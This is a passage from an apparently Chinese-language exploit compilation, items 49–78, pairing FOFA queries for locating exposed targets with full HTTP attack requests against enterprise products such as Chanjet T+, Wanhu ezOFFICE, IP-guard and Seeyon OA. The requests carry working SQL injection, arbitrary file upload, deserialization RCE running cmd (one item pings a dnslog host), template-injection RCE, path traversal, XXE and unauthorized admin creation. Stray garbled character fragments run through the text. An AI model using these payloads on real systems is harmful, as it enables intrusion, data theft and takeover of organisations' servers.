& e2 j0 z+ @' hHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
! u* {3 O( C; H# f  s) g& AAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
3 |0 k( d2 T7 R( S8 iContent-Type: multipart/form-data;boundary=----269520967239406871642430066855
------269520967239406871642430066855
Content-Disposition: form-data; name="file"; filename="s.php"
' v" m0 E  W) E1231
Content-Type: application/octet-stream
------269520967239406871642430066855
Content-Disposition: form-data; name="upload"
upload
7 D1 t- k$ |+ b1 Q) p2 b) J+ X------269520967239406871642430066855--


49. 用友U8 CRM系统uploadfile.php接口任意文件上传
FOFA：body="用友U8CRM"

- u. ]9 i( p* B+ c! b; kPOST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
6 Z+ i1 J, ?4 x* E. ?, y2 xHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
$ w# V/ A3 u+ B8 ]Content-Length: 329
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
- m9 i  f# i: n( y. C2 {. jAccept-Encoding: gzip, deflate
' ?, G- r" G% z' Q8 n9 H. K$ `8 f8 yAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
9 l% l+ j0 [6 `1 V5 g/ zConnection: close
Content-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w
# F7 r% T1 R3 J, ]
-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="file"; filename="%s.php "
Content-Type: application/octet-stream

wersqqmlumloqa
' q& j: e! d1 O$ T$ X-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="upload"
, |- ^- h9 K9 m) H4 _" D& i
upload
9 N$ Y- e$ P+ z, p-----------------------------vvv3wdayqv3yppdxvn3w--
6 P* S; m% `6 T' g2 I4 T- ~

http://x.x.x.x/tmpfile/updB3CB.tmp.php

0 {0 k' \/ N3 e+ J/ s; P, g50. QDocs Smart School 6.4.1 filterRecords SQL注入
7 |) y# V- V" H7 G! u, xFOFA：body="close closebtnmodal"
' [/ }5 l& f8 P- M& o8 ^* ^7 _7 m" J, RPOST /course/filterRecords/ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Content-Length: 224
/ `3 v1 W4 l3 N9 CAccept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

* r" j/ V' Y. ?0 Usearchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1


51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
; a1 S5 p1 e; b9 O; R4 T; QFOFA：app="云时空社会化商业ERP系统"
GET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
$ g$ E6 V) w- j* w7 Q4 yHost: your-ip
8 |# t$ d5 ^! ~! r" [! t1 EUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
3 Z# X! O: v6 Q$ Z' l: YAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
5 c9 ~. k" b5 Z" X4 F" ~Accept-Language: zh-CN,zh;q=0.9
, p! h3 ^  ]% _- }( S' \7 i- yConnection: close
( W( D( v- a+ _5 K0 L

% [3 D# q: a6 Y! r) i- c0 L$ G- L52. 泛微E-Office json_common.php sql注入
+ h; G  d* T' s* n0 ZFOFA：app="泛微-EOffice"
POST /building/json_common.php HTTP/1.1
5 `3 p6 v4 a: ^# u  K2 c, tHost: 192.168.86.128:8097
0 @' C# D5 ^! `$ rUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
9 d/ Y8 H9 n+ ~2 d9 p' H) _Content-Length: 87
Accept: */*
* i. u* @! U. \: {5 GAccept-Language: en
Content-Type: application/x-www-form-urlencoded
1 q" ]) C: }- }' m% R5 e( FAccept-Encoding: gzip
8 F& q4 \  m2 N) p, Y" B: z4 Q, J% k
tfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333


53. 迪普 DPTech VPN Service 任意文件上传
FOFA：app="DPtech-SSLVPN"
" W- i) _9 ~. d  O/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd


0 V4 t: @& a% @/ a54. 畅捷通T+ getstorewarehousebystore 远程代码执行
FOFA：app="畅捷通-TPlus"
第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
. S! Q; f& B0 Q. V. h- S4 Z% p
9 k7 W- b4 R& C+ j
$ `9 c, F$ d6 I4 `! S! K" S, k2 d( k7 P完整数据包
2 z1 a" U# f: SPOST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
$ J; E' G" x' Q6 Z8 q& _5 s9 U* L7 tContent-Length: 593
  y, z8 ^. a7 c8 _% z9 i
{
8 C9 q1 L$ U5 r- G"storeID":{
"__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
1 L, S3 a4 O& _& E "MethodName":"Start",
  "ObjectInstance":{
   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
; Q  o9 ?) n4 H& g    "StartInfo":{
   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "FileName":"cmd",
2 S7 `" U) L+ L7 ^5 C* \$ Q    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
    }
. _1 p! o$ R) @  }
; q' b' K9 P  P( f& j) G4 `  }
}
3 S* n- n+ L8 r" I* x, q1 R
+ j9 [3 D% T  ^0 \
0 z, f/ ]! k4 g# Q  k第二步，访问如下url
/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt

) g$ E0 }6 s( o0 w
55. 畅捷通T+ getdecallusers信息泄露
FOFA：app="畅捷通-TPlus"
6 ]6 ]5 e; O4 h% d, C. {第一步，通过
/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
5 N# ^5 p7 @1 x0 s第二步，利用获取到的Cookie请求
/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers
1 l8 F" f$ z- r, \5 _
# h. o6 E& b; S, m56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
FOFA: app="畅捷通-TPlus"
POST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
2 v% x  K, Y4 l$ u' p5 k' sContent-Type: application/json
! ~0 z( d$ h3 a. a# w% s8 J
, o' Z. t/ Q6 g$ F% I{
  "storeID":{
6 K7 ^/ T8 i5 _    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
: q8 ?0 f' r0 G7 n) d: C6 j   "MethodName":"Start",
6 e2 z& G1 R7 g9 T4 p; G    "ObjectInstance":{
       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
        "StartInfo": {
           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
" @, {/ \# m# V% K( I           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
+ d, P- V0 u" x( e# W- Q+ J       }
# T. E- B5 ?+ N% Y2 X, A' l    }
2 N# l+ Y, ?! w) N' y  }
}


57. 畅捷通T+ keyEdit.aspx SQL注入
# a4 d) e2 t! p7 _6 t! Q$ g# xFOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
4 i0 A' f0 V6 M- R8 J' _, D) z) iHost: host
' c% t" m5 u! h6 r9 u1 `$ MUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
* z. T8 y; {" v2 A+ XAccept-Encoding: gzip, deflate
Connection: close
8 @" A' w0 e' v6 g  U; n
0 ]) H$ h& X% R4 B/ R4 v
58. 畅捷通T+ KeyInfoList.aspx sql注入
FOFA：app="畅捷通-TPlus"
4 D/ Q' D2 j4 cGET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
% T/ P; l! ]) qHost: your-ip
6 f6 n' B( c& l$ m% V0 ~User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
  q+ B. [# H' }: `  L  RAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
5 i+ B6 p! [8 wConnection: close


59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
, e, B2 R- a0 Z8 }& l. B$ k( jFOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
POST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
4 X0 A( L8 v% r, C0 j0 q% dHost: 192.168.86.128:9090
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
8 \! ~' c! L/ cContent-Length: 1669
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

PAYLOAD


* ^% R2 V5 j0 p60. 百卓Smart管理平台 importexport.php SQL注入
FOFA：title="Smart管理平台"
GET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
3 B% @/ |5 o4 k) b) EHost:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
/ |1 C) m# r* |/ \$ |8 }/ M- M( VConnection: close


61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
FOFA: title="欢迎使用浙大恩特客户资源管理系统"
! N7 t8 j$ [* B+ N( mPOST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
2 U! @9 a7 B: }9 [; MHost: x.x.x.x
" ^& I6 v* L9 D* h  M7 ~6 M+ HUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
# }' M3 B' i/ M2 z2 h( Y& nContent-Length: 27
Accept: */*
Accept-Encoding: gzip, deflate
; I( Y3 }  N: P% _8 k5 _. a; k/ ~Accept-Language: en
Content-Type: application/x-www-form-urlencoded

2 L- A7 F5 S9 u4 X6 @5 ?/ ~8uxssX66eqrqtKObcVa0kid98xa

8 ~, w- B, H# I
3 i. T( W2 j4 X# E62. IP-guard WebServer 远程命令执行
# r7 x1 I$ x4 F: h4 F9 vFOFA："IP-guard" && icon_hash="2030860561"
GET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
' e5 i( H& z- q" Y& nAccept-Encoding: gzip

+ t1 M( _+ B! b& s
访问

GET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x
# c" G6 d: {& ^8 u1 S# G3 L' ?) ]
& @/ }. ?5 z8 \4 b" N: A. T
63. IP-guard WebServer任意文件读取
/ \" }' M  A3 q9 i9 ^- ]IP-guard < 4.82.0609.0
7 `5 b. o- c) ?9 O- T0 F+ p5 u9 [1 NFOFA：icon_hash="2030860561"
8 Y+ t" O8 w3 y- t2 PPOST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
8 D1 J; Y" c* C* @Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
' P, |3 F( D% V$ L6 [5 UAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
% T: n# ~$ J0 p( T  P* J3 zAccept-Encoding: gzip, deflate
: z2 ^! q& ~8 B9 V0 U" [' p: O( qAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
7 a: R8 z, e2 t; }2 g
- F6 z! p1 z# Z; hpath=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A

& [- y! J% w  m& g9 j# V- u0 k64. 捷诚管理信息系统CWSFinanceCommon SQL注入
( @8 l1 d$ ^; S/ vFOFA：body="/Scripts/EnjoyMsg.js"
POST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
Host: 192.168.86.128:9001
3 z/ u6 M: s' |0 v: _3 D( B) bUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
6 I8 q. l& ]. T+ _' O! A  `; A: V$ OConnection: close
' k2 i9 F1 j. y- q/ gContent-Length: 369
Accept: */*
Accept-Language: en
Content-Type: text/xml; charset=utf-8
Accept-Encoding: gzip

, R. E5 q6 G* z. L0 [! N3 _. v! A<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  x2 {( N( I" I% `" R1 B9 T3 q4 C<soap:Body>
- ?& F7 U8 r& {  @) f    <GetOSpById xmlns="http://tempuri.org/">
      <sId>1';waitfor delay '0:0:5'--+</sId>
    </GetOSpById>
1 n$ ~3 E( ?3 w( W" c  </soap:Body>
& R8 ]+ k) a# P# v</soap:Envelope>


65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
FOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
响应200即成功创建账号test123456/123456
POST /SystemMng.ashx HTTP/1.1
4 l& h5 o% A: _. O- y) i' THost:
3 {! r$ A. j: T1 ^( kUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
4 W1 T) a* G0 q) }. ]) uAccept-Encoding: gzip, deflate
Accept: */*
Connection: close
Accept-Language: en
6 |) h5 A) Q8 Y; G; PContent-Length: 174
- V. ^4 ^: u' ~' V; e
operatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators
  ^3 y- j( z; i6 o# o

; Y6 m( ?, C3 E6 V/ c2 v) K66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
: N) b  H+ j2 a2 XFOFA：app="万户ezOFFICE协同管理平台"
# Q% T8 H- m/ p; N4 s/ x+ ]6 W7 a
GET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
6 _/ E7 V( j: s; g- NHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
Accept: */*
/ o: U: `% S6 P. x: a1 n2 IAccept-Language: en
Accept-Encoding: gzip
4 U. K7 A( S3 Y# ~
1 H5 k+ R* d" j, P( f& O" \& M0 q4 u
第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在

1 u. g4 Z' v$ I( V# o+ y4 @, `67. 万户ezOFFICE wpsservlet任意文件上传
0 v7 X2 P4 X( C5 _; cFOFA：app="万户网络-ezOFFICE"
# x# j; C5 k8 n4 k# y7 l3 hnewdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
# f; J. l& \7 ~, ?, V9 dPOST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
8 g. P! c4 l! j0 C; X0 Z" V" {Host: x.x.x.x
% D+ a! w+ T9 `) ?& i& VUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Content-Length: 173
4 c/ H% P9 A: P3 x) p, w& @0 yAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
! ]: M; c6 ~3 x) X# BAccept-Encoding: gzip, deflate
/ l6 M9 Y2 X" _5 TAccept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
Content-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
DNT: 1
  _3 W9 P9 V( i' b- e2 ?/ kUpgrade-Insecure-Requests: 1

--ufuadpxathqvxfqnuyuqaozvseiueerp
2 z6 Q  b* l  @+ V6 f% D: w% EContent-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"

/ P8 x6 [! Q- f6 t! k) {. M; I) {- Y<% out.print("sasdfghjkj");%>
--ufuadpxathqvxfqnuyuqaozvseiueerp--
. O) Q$ p, I: d( S8 f

文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp
+ E, h: Y$ |3 V6 L6 ^1 q
68. 万户ezOFFICE wf_printnum.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
' O- ]. W# B8 ?4 z" ~2 zGET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
! \) m" [8 g1 y4 PHost: {{host}}
- X% ~4 H: ^  j3 A+ {) C, _9 d( EUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
# j$ N8 @% @5 _Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
: A* }% }/ O3 o4 ?/ b8 Y5 o4 q8 cAccept-Encoding: gzip, deflate
7 e7 I: }6 d$ D7 i( }3 mAccept-Language: zh-CN,zh;q=0.9
Connection: close


69. 万户 ezOFFICE contract_gd.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
2 D/ I) Q9 g4 D' J. kHost: your-ip
, Q4 ?1 t2 S: k( T( hUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
5 N' w. N: N' yAccept-Encoding: gzip, deflate
, l- q' ~, H% v6 pAccept: */*
/ t" f6 R. e$ {$ A4 {" cConnection: keep-alive

8 B5 t& y! `# H
9 n1 A2 v9 @% {' D70. 万户ezEIP success 命令执行
FOFA：app="万户网络-ezEIP"
+ ]: z: F8 t2 f- E" {POST /member/success.aspx HTTP/1.1
! J( Y: {" I4 M( s' C: s; M* cHost: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
SID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
Content-Type: application/x-www-form-urlencoded
2 E% [' _  h, h: x* i. E. n0 STYPE: C
. l5 R) F! H+ Q9 h2 e' VContent-Length: 16702

! K8 f2 l- k5 Y# E$ E__VIEWSTATE=PAYLOAD
- ]7 `! h4 F/ P2 {$ }7 K% z
: p4 \# d" @, }& c) z- C5 g
71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
. E; u' b* n; z- _FOFA：body="PM2项目管理系统BS版增强工具.zip"
( Q6 t9 B0 ^0 [GET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
Host: x.x.x.xx.x.x.x
% ?8 m$ p9 N$ K8 i! n5 _User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
% a* L$ }- \- t/ b+ JConnection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
  h, Y( L& k5 H& q" l/ dAccept-Encoding: gzip, deflate
! e8 t, u1 z0 q. `! f- \0 F6 TAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1
: B, l3 m; s7 F* g

72. 致远OA getAjaxDataServlet XXE
FOFA：app="致远互联-OA"
POST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
Host: 192.168.40.131:8099
2 D2 O( p/ E( uUser-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
Content-Length: 583
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
9 N* c, R9 ^3 B% I
S=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E
' [/ L% ], ^! X' z! |# D

: s# b& J. A# O7 L# I! X73. GeoServer wms远程代码执行
FOFA：icon_hash=”97540678”
POST /geoserver/wms HTTP/1.1
8 a( m' N6 \$ Y, A: G; Z+ j) gHost:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
' ~" _  t2 @4 r) ~9 ]7 C8 iContent-Length: 1981
Accept-Encoding: gzip, deflate
Connection: close
9 T- q( u8 u( {0 Y) ^Content-Type: application/xml
8 A5 k: B4 l( O: hSL-CE-SUID: 3
& n! `- K$ A" M* M* A) [
8 w' {7 l: ^7 `: ?* h8 e3 U' vPAYLOAD

# D$ u; w0 H2 _: {
74. 致远M3-server 6_1sp1 反序列化RCE
* y& E1 P, l( r  nFOFA：title="M3-Server"
7 h2 e: b- w! Q0 \- k- dPAYLOAD
9 L  w2 V2 D+ M& S/ t0 j
75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
0 ~% l9 K. b$ F% ?2 f! tFOFA：app="TELESQUARE-TLR-2005KSH"
GET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
4 S) l3 E; F2 s& |# ]% P+ XHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
( g7 ^5 f9 P9 j, jConnection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
( v6 l6 t& ^( N4 f) Z. I+ ]  r& p

GET /cgi-bin/test28256.txt HTTP/1.1
Host: x.x.x.x
4 D# P$ T- \5 Z- A

76. 新开普掌上校园服务管理平台service.action远程命令执行
7 q; ~4 B  T4 \3 oFOFA：title="掌上校园服务管理平台"
3 C. u$ w; m5 ^/ K8 v# e4 M5 ePOST /service_transport/service.action HTTP/1.1
- P! t8 |$ V2 N7 T9 j" D, D( T7 Z! aHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
, A( n. D- v/ ^5 MConnection: close
Content-Length: 211
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
' E& V3 y* U( k+ q3 s5 OAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
Upgrade-Insecure-Requests: 1
& N7 v3 \1 e; v7 N; t
{
+ x" j$ a8 M9 `4 P1 E"command": "GetFZinfo",
  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
8 k( O  d1 l; @/ x$ e! S+ L  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
}


GET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
Host: x.x.x.x
+ n: H. |5 \3 ~) ]) f
/ c, q# g2 m3 W* S: d% j3 B

77. F22服装管理软件系统UploadHandler.ashx任意文件上传
" X8 f- u  Q+ W# dFOFA：body="F22WEB登陆"
POST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
Host: x.x.x.x
# {' z! f9 m1 v$ xUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
6 _/ a2 P: ~8 B/ i' s  _5 L8 |# KConnection: close
Content-Length: 433
- D2 u" R3 @( lAccept: */*
- R4 D+ a; T- [0 MAccept-Encoding: gzip, deflate
2 J' Y0 a8 ?! u% L2 B3 t2 qAccept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix

------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="folder"
% n% B  h7 I6 ]7 ^
( Q: M1 b) P/ `/upload/udplog
- |- K5 [0 |- E' z' A------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="Filedata"; filename="1.aspx"
Content-Type: application/octet-stream

hello1234567
8 t& i" H7 j: Q/ G# N: I6 O2 f------------398jnjVTTlDVXHlE7yYnfwBoix
" ^' t. C+ j% D# s; q2 _/ MContent-Disposition: form-data; name="Upload"

- w, [5 a# M" n0 W4 B) ]Submit Query
------------398jnjVTTlDVXHlE7yYnfwBoix--
: X) f* _* D6 A* w3 r- s

78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
% ?& Q- f* i( t  t% S) AFOFA：icon_hash="2001627082"
